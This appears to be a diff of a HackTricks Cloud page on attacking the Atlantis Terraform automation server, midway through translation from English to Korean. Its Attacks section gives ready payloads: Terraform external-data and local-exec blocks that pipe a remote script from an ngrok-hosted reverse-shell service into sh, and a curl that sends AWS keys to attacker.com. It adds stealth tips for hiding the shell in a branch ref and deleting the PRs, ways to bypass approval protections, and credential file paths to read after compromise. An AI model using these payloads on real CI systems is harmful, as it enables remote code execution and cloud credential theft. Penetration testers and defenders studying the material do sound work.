그러나 이러한 플랫폼의 repo에 접근하고 작업을 수행하려면 **특권 접근 권한이 부여되어야** 합니다(최소한 쓰기 권한).\
|
||||
[**문서**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional)에서는 Atlantis 전용 사용자를 이러한 플랫폼에서 생성할 것을 권장하지만, 일부 사람들은 개인 계정을 사용할 수 있습니다.
|
||||
|
||||
> [!WARNING]
|
||||
> In any case, from an attackers perspective, the **Atlantis account** is going to be one very **interesting** **to compromise**.
|
||||
> 어떤 경우든 공격자의 관점에서 **Atlantis 계정**은 매우 **흥미로운** **타겟**이 될 것입니다.
|
||||
|
||||
#### Webhooks
|
||||
|
||||
Atlantis uses optionally [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) to validate that the **webhooks** it receives from your Git host are **legitimate**.
|
||||
Atlantis는 선택적으로 [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret)를 사용하여 Git 호스트에서 수신하는 **webhooks**가 **정당한** 것인지 확인합니다.
|
||||
|
||||
One way to confirm this would be to **allowlist requests to only come from the IPs** of your Git host but an easier way is to use a Webhook Secret.
|
||||
이를 확인하는 한 가지 방법은 **요청이 Git 호스트의 IP에서만 오도록 허용하는 것**이지만, 더 쉬운 방법은 Webhook Secret을 사용하는 것입니다.
|
||||
|
||||
Note that unless you use a private github or bitbucket server, you will need to expose webhook endpoints to the Internet.
|
||||
개인 github 또는 bitbucket 서버를 사용하지 않는 한, webhook 엔드포인트를 인터넷에 노출해야 합니다.
|
||||
|
||||
> [!WARNING]
|
||||
> Atlantis is going to be **exposing webhooks** so the git server can send it information. From an attackers perspective it would be interesting to know **if you can send it messages**.
|
||||
> Atlantis는 **webhooks를 노출**하여 git 서버가 정보를 보낼 수 있도록 합니다. 공격자의 관점에서 **메시지를 보낼 수 있는지** 아는 것이 흥미로울 것입니다.
|
||||
|
||||
#### Provider Credentials <a href="#provider-credentials" id="provider-credentials"></a>
|
||||
|
||||
[From the docs:](https://www.runatlantis.io/docs/provider-credentials.html)
|
||||
[문서에서:](https://www.runatlantis.io/docs/provider-credentials.html)
|
||||
|
||||
Atlantis runs Terraform by simply **executing `terraform plan` and `apply`** commands on the server **Atlantis is hosted on**. Just like when you run Terraform locally, Atlantis needs credentials for your specific provider.
|
||||
Atlantis는 서버 **Atlantis가 호스팅되는** 곳에서 `terraform plan` 및 `apply` 명령을 단순히 **실행하여** Terraform을 실행합니다. 로컬에서 Terraform을 실행할 때와 마찬가지로, Atlantis는 특정 공급자에 대한 자격 증명이 필요합니다.
|
||||
|
||||
It's up to you how you [provide credentials](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) for your specific provider to Atlantis:
|
||||
Atlantis에 특정 공급자에 대한 자격 증명을 [제공하는 방법](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info)은 다음과 같습니다:
|
||||
|
||||
- The Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) and [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) have their own mechanisms for provider credentials. Read their docs.
|
||||
- If you're running Atlantis in a cloud then many clouds have ways to give cloud API access to applications running on them, ex:
|
||||
- [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Search for "EC2 Role")
|
||||
- [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
|
||||
- Many users set environment variables, ex. `AWS_ACCESS_KEY`, where Atlantis is running.
|
||||
- Others create the necessary config files, ex. `~/.aws/credentials`, where Atlantis is running.
|
||||
- Use the [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) to obtain provider credentials.
|
||||
- Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) 및 [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate)은 공급자 자격 증명에 대한 자체 메커니즘을 가지고 있습니다. 문서를 읽어보세요.
|
||||
- 클라우드에서 Atlantis를 실행하는 경우, 많은 클라우드에서 클라우드 API 접근을 애플리케이션에 제공하는 방법이 있습니다. 예:
|
||||
- [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (검색어: "EC2 Role")
|
||||
- [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
|
||||
- 많은 사용자가 Atlantis가 실행되는 곳에 환경 변수를 설정합니다. 예: `AWS_ACCESS_KEY`.
|
||||
- 다른 사용자는 Atlantis가 실행되는 곳에 필요한 구성 파일을 생성합니다. 예: `~/.aws/credentials`.
|
||||
- [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs)를 사용하여 공급자 자격 증명을 얻습니다.
|
||||
|
||||
> [!WARNING]
|
||||
> The **container** where **Atlantis** is **running** will highly probably **contain privileged credentials** to the providers (AWS, GCP, Github...) that Atlantis is managing via Terraform.
|
||||
> **Atlantis가 실행되는** **컨테이너**는 **AWS, GCP, Github...**와 같은 공급자에 대한 **특권 자격 증명**을 포함할 가능성이 높습니다.
|
||||
|
||||
#### Web Page
|
||||
|
||||
By default Atlantis will run a **web page in the port 4141 in localhost**. This page just allows you to enable/disable atlantis apply and check the plan status of the repos and unlock them (it doesn't allow to modify things, so it isn't that useful).
|
||||
기본적으로 Atlantis는 **localhost의 포트 4141에서 웹 페이지를 실행**합니다. 이 페이지는 atlantis apply를 활성화/비활성화하고 repo의 계획 상태를 확인하고 잠금을 해제할 수 있도록 합니다(수정은 허용하지 않으므로 그리 유용하지는 않습니다).
|
||||
|
||||
You probably won't find it exposed to the internet, but it looks like by default **no credentials are needed** to access it (and if they are `atlantis`:`atlantis` are the **default** ones).
|
||||
인터넷에 노출되지 않을 가능성이 높지만, 기본적으로 **접근하기 위해 자격 증명이 필요하지 않은 것처럼 보입니다**(필요한 경우 `atlantis`:`atlantis`가 **기본** 자격 증명입니다).
|
||||
|
||||
### Server Configuration
|
||||
|
||||
Configuration to `atlantis server` can be specified via command line flags, environment variables, a config file or a mix of the three.
|
||||
`atlantis server`에 대한 구성은 명령줄 플래그, 환경 변수, 구성 파일 또는 이 세 가지의 조합을 통해 지정할 수 있습니다.
|
||||
|
||||
- You can find [**here the list of flags**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) supported by Atlantis server
|
||||
- You can find [**here how to transform a config option into an env var**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables)
|
||||
- Atlantis 서버에서 지원하는 [**플래그 목록은 여기**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration)에서 확인할 수 있습니다.
|
||||
- [**구성 옵션을 환경 변수로 변환하는 방법은 여기**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables)에서 확인할 수 있습니다.
|
||||
|
||||
Values are **chosen in this order**:
|
||||
값은 **이 순서로 선택됩니다**:
|
||||
|
||||
1. Flags
|
||||
2. Environment Variables
|
||||
3. Config File
|
||||
1. 플래그
|
||||
2. 환경 변수
|
||||
3. 구성 파일
|
||||
|
||||
> [!WARNING]
|
||||
> Note that in the configuration you might find interesting values such as **tokens and passwords**.
|
||||
> 구성에서 **토큰 및 비밀번호**와 같은 흥미로운 값을 찾을 수 있습니다.
|
||||
|
||||
#### Repos Configuration
|
||||
|
||||
Some configurations affects **how the repos are managed**. However, it's possible that **each repo require different settings**, so there are ways to specify each repo. This is the priority order:
|
||||
일부 구성은 **repo 관리 방식에 영향을 미칩니다**. 그러나 **각 repo가 서로 다른 설정을 요구할 수** 있으므로 각 repo를 지정하는 방법이 있습니다. 우선 순위는 다음과 같습니다:
|
||||
|
||||
1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) file. This file can be used to specify how atlantis should treat the repo. However, by default some keys cannot be specified here without some flags allowing it.
|
||||
1. Probably required to be allowed by flags like `allowed_overrides` or `allow_custom_workflows`
|
||||
2. [**Server Side Config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): You can pass it with the flag `--repo-config` and it's a yaml configuring new settings for each repo (regexes supported)
|
||||
3. **Default** values
|
||||
1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) 파일. 이 파일은 atlantis가 repo를 어떻게 처리해야 하는지를 지정하는 데 사용될 수 있습니다. 그러나 기본적으로 일부 키는 이를 허용하는 플래그 없이는 여기에서 지정할 수 없습니다.
|
||||
1. 아마도 `allowed_overrides` 또는 `allow_custom_workflows`와 같은 플래그에 의해 허용되어야 합니다.
|
||||
2. [**서버 측 구성**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): `--repo-config` 플래그로 전달할 수 있으며, 각 repo에 대한 새로운 설정을 구성하는 yaml입니다(정규 표현식 지원).
|
||||
3. **기본** 값
|
||||
|
||||
**PR Protections**
|
||||
|
||||
Atlantis allows to indicate if you want the **PR** to be **`approved`** by somebody else (even if that isn't set in the branch protection) and/or be **`mergeable`** (branch protections passed) **before running apply**. From a security point of view, to set both options a recommended.
|
||||
Atlantis는 **PR**이 다른 사람에 의해 **`승인`**되기를 원하거나(브랜치 보호에 설정되지 않은 경우에도) **`병합 가능`**(브랜치 보호 통과)하기를 원할 수 있도록 표시할 수 있습니다 **apply를 실행하기 전에**. 보안 관점에서 두 옵션을 모두 설정하는 것이 권장됩니다.
|
||||
|
||||
In case `allowed_overrides` is True, these setting can be **overwritten on each project by the `/atlantis.yml` file**.
|
||||
`allowed_overrides`가 True인 경우, 이러한 설정은 **`/atlantis.yml` 파일**에서 각 프로젝트에 대해 **덮어쓸 수 있습니다**.
|
||||
|
||||
**Scripts**
|
||||
|
||||
The repo config can **specify scripts** to run [**before**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) and [**after**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) a **workflow is executed.**
|
||||
repo 구성은 **워크플로우가 실행되기 전** [**이전**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) 및 [**후**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_)에 실행할 **스크립트**를 **지정할 수 있습니다**.
|
||||
|
||||
There isn't any option to allow **specifying** these scripts in the **repo `/atlantis.yml`** file.
|
||||
repo `/atlantis.yml` 파일에서 이러한 스크립트를 **지정하는** 옵션은 없습니다.
|
||||
|
||||
**Workflow**
|
||||
|
||||
In the repo config (server side config) you can [**specify a new default workflow**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), or [**create new custom workflows**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** You can also **specify** which **repos** can **access** the **new** ones generated.\
|
||||
Then, you can allow the **atlantis.yaml** file of each repo to **specify the workflow to use.**
|
||||
repo 구성(서버 측 구성)에서 [**새 기본 워크플로우를 지정할 수 있습니다**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow) 또는 [**새 사용자 정의 워크플로우를 생성할 수 있습니다**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** 또한 **어떤 repo**가 생성된 **새** 워크플로우에 **접근할 수 있는지** **지정할 수 있습니다**.\
|
||||
그런 다음 각 repo의 **atlantis.yaml** 파일이 **사용할 워크플로우를 지정할 수 있도록** 허용할 수 있습니다.
|
||||
|
||||
> [!CAUTION]
|
||||
> If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **specified** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used.\
|
||||
> This will basically give **RCE in the Atlantis server to any user that can access that repo**.
|
||||
> [**서버 측 구성**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) 플래그 `allow_custom_workflows`가 **True**로 설정되면, 각 repo의 **`atlantis.yaml`** 파일에서 워크플로우를 **지정할 수 있습니다**. 또한 **`allowed_overrides`**가 **사용될 워크플로우를 덮어쓰도록** **`workflow`**를 지정해야 할 수도 있습니다.\
|
||||
> 이는 기본적으로 **해당 repo에 접근할 수 있는 모든 사용자에게 Atlantis 서버에서 RCE를 제공**하게 됩니다.
|
||||
>
|
||||
> ```yaml
|
||||
> # atlantis.yaml
|
||||
@@ -126,19 +126,18 @@ Then, you can allow the **atlantis.yaml** file of each repo to **specify the wor
|
||||
|
||||
**Conftest Policy Checking**
|
||||
|
||||
Atlantis supports running **server-side** [**conftest**](https://www.conftest.dev/) **policies** against the plan output. Common usecases for using this step include:
|
||||
Atlantis는 **서버 측** [**conftest**](https://www.conftest.dev/) **정책**을 계획 출력에 대해 실행하는 것을 지원합니다. 이 단계를 사용하는 일반적인 사용 사례는 다음과 같습니다:
|
||||
|
||||
- Denying usage of a list of modules
|
||||
- Asserting attributes of a resource at creation time
|
||||
- Catching unintentional resource deletions
|
||||
- Preventing security risks (ie. exposing secure ports to the public)
|
||||
- 모듈 목록 사용 거부
|
||||
- 리소스 생성 시 속성 주장
|
||||
- 의도하지 않은 리소스 삭제 포착
|
||||
- 보안 위험 방지(예: 보안 포트를 공개에 노출)
|
||||
|
||||
You can check how to configure it in [**the docs**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works).
|
||||
구성 방법은 [**문서에서**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works) 확인할 수 있습니다.
|
||||
|
||||
### Atlantis Commands
|
||||
|
||||
[**In the docs**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) you can find the options you can use to run Atlantis:
|
||||
|
||||
[**문서에서**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) Atlantis를 실행하는 데 사용할 수 있는 옵션을 찾을 수 있습니다:
|
||||
```bash
|
||||
# Get help
|
||||
atlantis help
|
||||
@@ -161,94 +160,82 @@ atlantis apply [options] -- [terraform apply flags]
|
||||
## --verbose
|
||||
## You can also add extra terraform options
|
||||
```
|
||||
|
||||
### Attacks
|
||||
|
||||
> [!WARNING]
|
||||
> If during the exploitation you find this **error**: `Error: Error acquiring the state lock`
|
||||
|
||||
You can fix it by running:
|
||||
> 만약 공격 중에 이 **오류**를 발견하면: `Error: Error acquiring the state lock`
|
||||
|
||||
다음 명령어를 실행하여 수정할 수 있습니다:
|
||||
```
|
||||
atlantis unlock #You might need to run this in a different PR
|
||||
atlantis plan -- -lock=false
|
||||
```
|
||||
#### Atlantis plan RCE - 새로운 PR에서의 구성 수정
|
||||
|
||||
#### Atlantis plan RCE - Config modification in new PR
|
||||
|
||||
If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can **execute `atlantis plan`** (or maybe it's automatically executed) **you will be able to RCE inside the Atlantis server**.
|
||||
|
||||
You can do this by making [**Atlantis load an external data source**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Just put a payload like the following in the `main.tf` file:
|
||||
저장소에 대한 쓰기 권한이 있으면 새로운 브랜치를 생성하고 PR을 생성할 수 있습니다. **`atlantis plan`**을 **실행할 수 있다면** (또는 자동으로 실행될 수도 있습니다) **Atlantis 서버 내에서 RCE를 수행할 수 있습니다**.
|
||||
|
||||
[**Atlantis가 외부 데이터 소스를 로드하도록**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) 할 수 있습니다. 다음과 같은 페이로드를 `main.tf` 파일에 넣기만 하면 됩니다:
|
||||
```json
|
||||
data "external" "example" {
|
||||
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
|
||||
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
|
||||
}
|
||||
```
|
||||
**은밀한 공격**
|
||||
|
||||
**Stealthier Attack**
|
||||
|
||||
You can perform this attack even in a **stealthier way**, by following this suggestions:
|
||||
|
||||
- Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell:
|
||||
이 공격을 **은밀한 방법**으로 수행할 수 있습니다. 다음 제안을 따르세요:
|
||||
|
||||
- terraform 파일에 rev shell을 직접 추가하는 대신, rev shell이 포함된 **외부 리소스**를 **로드**할 수 있습니다:
|
||||
```javascript
|
||||
module "not_rev_shell" {
|
||||
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
|
||||
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
|
||||
}
|
||||
```
|
||||
|
||||
You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
|
||||
|
||||
- In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
|
||||
- **Instead** of creating a **PR to master** to trigger Atlantis, **create 2 branches** (test1 and test2) and create a **PR from one to the other**. When you have completed the attack, just **remove the PR and the branches**.
|
||||
- 외부 리소스에서 **ref** 기능을 사용하여 **레포의 브랜치에 있는 terraform rev shell 코드를 숨기세요**, 예를 들어: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
|
||||
- **PR을 master에 생성하는 대신** Atlantis를 트리거하기 위해 **2개의 브랜치**(test1 및 test2)를 생성하고 **하나에서 다른 쪽으로 PR을 생성하세요**. 공격이 완료되면 **PR과 브랜치를 제거하세요**.
|
||||
|
||||
#### Atlantis plan Secrets Dump
|
||||
|
||||
You can **dump secrets used by terraform** running `atlantis plan` (`terraform plan`) by putting something like this in the terraform file:
|
||||
|
||||
다음과 같이 terraform 파일에 입력하여 `atlantis plan` (`terraform plan`)을 실행하여 **terraform에서 사용되는 비밀을 덤프할 수 있습니다**:
|
||||
```json
|
||||
output "dotoken" {
|
||||
value = nonsensitive(var.do_token)
|
||||
value = nonsensitive(var.do_token)
|
||||
}
|
||||
```
|
||||
#### Atlantis apply RCE - 새로운 PR에서의 구성 수정
|
||||
|
||||
#### Atlantis apply RCE - Config modification in new PR
|
||||
저장소에 대한 쓰기 권한이 있으면 새로운 브랜치를 생성하고 PR을 생성할 수 있습니다. **`atlantis apply`를 실행할 수 있다면 Atlantis 서버 내에서 RCE를 수행할 수 있습니다.**
|
||||
|
||||
If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can **execute `atlantis apply` you will be able to RCE inside the Atlantis server**.
|
||||
그러나 일반적으로 몇 가지 보호 장치를 우회해야 합니다:
|
||||
|
||||
However, you will usually need to bypass some protections:
|
||||
|
||||
- **Mergeable**: If this protection is set in Atlantis, you can only run **`atlantis apply` if the PR is mergeable** (which means that the branch protection need to be bypassed).
|
||||
- Check potential [**branch protections bypasses**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
|
||||
- **Approved**: If this protection is set in Atlantis, some **other user must approve the PR** before you can run `atlantis apply`
|
||||
- By default you can abuse the [**Gitbot token to bypass this protection**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
|
||||
|
||||
Running **`terraform apply` on a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
|
||||
You just need to make sure some payload like the following ones ends in the `main.tf` file:
|
||||
- **Mergeable**: 이 보호 장치가 Atlantis에 설정되어 있으면 **PR이 mergeable일 때만 `atlantis apply`를 실행할 수 있습니다** (즉, 브랜치 보호를 우회해야 함을 의미합니다).
|
||||
- 잠재적인 [**브랜치 보호 우회**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md) 확인
|
||||
- **Approved**: 이 보호 장치가 Atlantis에 설정되어 있으면 **다른 사용자가 PR을 승인해야 `atlantis apply`를 실행할 수 있습니다.**
|
||||
- 기본적으로 [**Gitbot 토큰을 사용하여 이 보호 장치를 우회할 수 있습니다**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
|
||||
|
||||
악의적인 Terraform 파일에서 **`terraform apply`를 실행하는 것**은 [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
|
||||
다음과 같은 페이로드가 `main.tf` 파일에 포함되도록 해야 합니다:
|
||||
```json
|
||||
// Payload 1 to just steal a secret
|
||||
resource "null_resource" "secret_stealer" {
|
||||
provisioner "local-exec" {
|
||||
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
|
||||
}
|
||||
provisioner "local-exec" {
|
||||
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
|
||||
}
|
||||
}
|
||||
|
||||
// Payload 2 to get a rev shell
|
||||
resource "null_resource" "rev_shell" {
|
||||
provisioner "local-exec" {
|
||||
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
|
||||
}
|
||||
provisioner "local-exec" {
|
||||
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way**.
|
||||
이 공격을 **더 은밀한 방법**으로 수행하기 위해 **이전 기술의 제안**을 따르십시오.
|
||||
|
||||
#### Terraform Param Injection
|
||||
|
||||
When running `atlantis plan` or `atlantis apply` terraform is being run under-needs, you can pass commands to terraform from atlantis commenting something like:
|
||||
|
||||
`atlantis plan` 또는 `atlantis apply`를 실행할 때 terraform이 실행되며, atlantis에서 다음과 같은 주석을 통해 terraform에 명령을 전달할 수 있습니다:
|
||||
```bash
|
||||
atlantis plan -- <terraform commands>
|
||||
atlantis plan -- -h #Get terraform plan help
|
||||
@@ -256,16 +243,15 @@ atlantis plan -- -h #Get terraform plan help
|
||||
atlantis apply -- <terraform commands>
|
||||
atlantis apply -- -h #Get terraform apply help
|
||||
```
|
||||
|
||||
Something you can pass are env variables which might be helpful to bypass some protections. Check terraform env vars in [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)
|
||||
|
||||
#### Custom Workflow
|
||||
|
||||
Running **malicious custom build commands** specified in an `atlantis.yaml` file. Atlantis uses the `atlantis.yaml` file from the pull request branch, **not** of `master`.\
|
||||
Running **악의적인 사용자 정의 빌드 명령** specified in an `atlantis.yaml` file. Atlantis uses the `atlantis.yaml` file from the pull request branch, **not** of `master`.\
|
||||
This possibility was mentioned in a previous section:
|
||||
|
||||
> [!CAUTION]
|
||||
> If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **specified** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used.
|
||||
> If the [**서버 측 구성**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **지정** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used.
|
||||
>
|
||||
> This will basically give **RCE in the Atlantis server to any user that can access that repo**.
|
||||
>
|
||||
@@ -288,97 +274,95 @@ This possibility was mentioned in a previous section:
|
||||
|
||||
#### Bypass plan/apply protections
|
||||
|
||||
If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allowed_overrides` _has_ `apply_requirements` configured, it's possible for a repo to **modify the plan/apply protections to bypass them**.
|
||||
|
||||
If the [**서버 측 구성**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allowed_overrides` _has_ `apply_requirements` configured, it's possible for a repo to **modify the plan/apply protections to bypass them**.
|
||||
```yaml
|
||||
repos:
|
||||
- id: /.*/
|
||||
apply_requirements: []
|
||||
- id: /.*/
|
||||
apply_requirements: []
|
||||
```
|
||||
|
||||
#### PR Hijacking
|
||||
|
||||
If someone sends **`atlantis plan/apply` comments on your valid pull requests,** it will cause terraform to run when you don't want it to.
|
||||
누군가 **유효한 풀 리퀘스트에 `atlantis plan/apply` 댓글을 달면,** 원하지 않을 때 terraform이 실행됩니다.
|
||||
|
||||
Moreover, if you don't have configured in the **branch protection** to ask to **reevaluate** every PR when a **new commit is pushed** to it, someone could **write malicious configs** (check previous scenarios) in the terraform config, run `atlantis plan/apply` and gain RCE.
|
||||
게다가, **새 커밋이 푸시될 때마다** 모든 PR에 대해 **재평가**를 요청하도록 **브랜치 보호**가 구성되어 있지 않다면, 누군가 **악의적인 구성**(이전 시나리오 확인)을 terraform 구성에 작성하고 `atlantis plan/apply`를 실행하여 RCE를 얻을 수 있습니다.
|
||||
|
||||
This is the **setting** in Github branch protections:
|
||||
이것이 Github 브랜치 보호의 **설정**입니다:
|
||||
|
||||
.png>)
|
||||
|
||||
#### Webhook Secret
|
||||
|
||||
If you manage to **steal the webhook secret** used or if there **isn't any webhook secret** being used, you could **call the Atlantis webhook** and **invoke atlatis commands** directly.
|
||||
사용 중인 **웹훅 비밀을 훔치거나** **웹훅 비밀이 사용되지 않는 경우**, **Atlantis 웹훅을 호출하고** **atlantis 명령을 직접 호출**할 수 있습니다.
|
||||
|
||||
#### Bitbucket
|
||||
|
||||
Bitbucket Cloud does **not support webhook secrets**. This could allow attackers to **spoof requests from Bitbucket**. Ensure you are allowing only Bitbucket IPs.
|
||||
Bitbucket Cloud는 **웹훅 비밀을 지원하지 않습니다**. 이는 공격자가 **Bitbucket에서 요청을 스푸핑**할 수 있게 합니다. Bitbucket IP만 허용하고 있는지 확인하세요.
|
||||
|
||||
- This means that an **attacker** could make **fake requests to Atlantis** that look like they're coming from Bitbucket.
|
||||
- If you are specifying `--repo-allowlist` then they could only fake requests pertaining to those repos so the most damage they could do would be to plan/apply on your own repos.
|
||||
- To prevent this, allowlist [Bitbucket's IP addresses](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (see Outbound IPv4 addresses).
|
||||
- 이는 **공격자**가 Bitbucket에서 오는 것처럼 보이는 **가짜 요청을 Atlantis에 보낼 수 있다는 것을 의미합니다.**
|
||||
- `--repo-allowlist`를 지정하는 경우, 그들은 해당 리포지토리에 관련된 요청만 가짜로 만들 수 있으므로 그들이 할 수 있는 가장 큰 피해는 자신의 리포지토리에서 plan/apply하는 것입니다.
|
||||
- 이를 방지하기 위해 [Bitbucket의 IP 주소](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html)를 허용 목록에 추가하세요 (아웃바운드 IPv4 주소 참조).
|
||||
|
||||
### Post-Exploitation
|
||||
|
||||
If you managed to get access to the server or at least you got a LFI there are some interesting things you should try to read:
|
||||
서버에 접근하거나 최소한 LFI를 얻었다면, 읽어볼 만한 흥미로운 것들이 있습니다:
|
||||
|
||||
- `/home/atlantis/.git-credentials` Contains vcs access credentials
|
||||
- `/atlantis-data/atlantis.db` Contains vcs access credentials with more info
|
||||
- `/atlantis-data/repos/<org_name>`_`/`_`<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate` Terraform stated file
|
||||
- Example: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
|
||||
- `/proc/1/environ` Env variables
|
||||
- `/proc/[2-20]/cmdline` Cmd line of `atlantis server` (may contain sensitive data)
|
||||
- `/home/atlantis/.git-credentials` VCS 접근 자격 증명 포함
|
||||
- `/atlantis-data/atlantis.db` 더 많은 정보와 함께 VCS 접근 자격 증명 포함
|
||||
- `/atlantis-data/repos/<org_name>`_`/`_`<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate` Terraform 상태 파일
|
||||
- 예: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
|
||||
- `/proc/1/environ` 환경 변수
|
||||
- `/proc/[2-20]/cmdline` `atlantis server`의 명령줄 (민감한 데이터 포함 가능)
|
||||
|
||||
### Mitigations
|
||||
|
||||
#### Don't Use On Public Repos <a href="#don-t-use-on-public-repos" id="don-t-use-on-public-repos"></a>
|
||||
|
||||
Because anyone can comment on public pull requests, even with all the security mitigations available, it's still dangerous to run Atlantis on public repos without proper configuration of the security settings.
|
||||
누구나 공개 풀 리퀘스트에 댓글을 달 수 있기 때문에, 모든 보안 완화 조치가 있더라도 적절한 보안 설정 없이 공개 리포지토리에서 Atlantis를 실행하는 것은 여전히 위험합니다.
|
||||
|
||||
#### Don't Use `--allow-fork-prs` <a href="#don-t-use-allow-fork-prs" id="don-t-use-allow-fork-prs"></a>
|
||||
|
||||
If you're running on a public repo (which isn't recommended, see above) you shouldn't set `--allow-fork-prs` (defaults to false) because anyone can open up a pull request from their fork to your repo.
|
||||
공개 리포지토리에서 실행 중이라면(위에서 권장하지 않음) `--allow-fork-prs`를 설정하지 말아야 합니다(기본값은 false) 왜냐하면 누구나 자신의 포크에서 귀하의 리포지토리로 풀 리퀘스트를 열 수 있기 때문입니다.
|
||||
|
||||
#### `--repo-allowlist` <a href="#repo-allowlist" id="repo-allowlist"></a>
|
||||
|
||||
Atlantis requires you to specify a allowlist of repositories it will accept webhooks from via the `--repo-allowlist` flag. For example:
|
||||
Atlantis는 `--repo-allowlist` 플래그를 통해 웹훅을 수락할 리포지토리의 허용 목록을 지정해야 합니다. 예를 들어:
|
||||
|
||||
- Specific repositories: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests`
|
||||
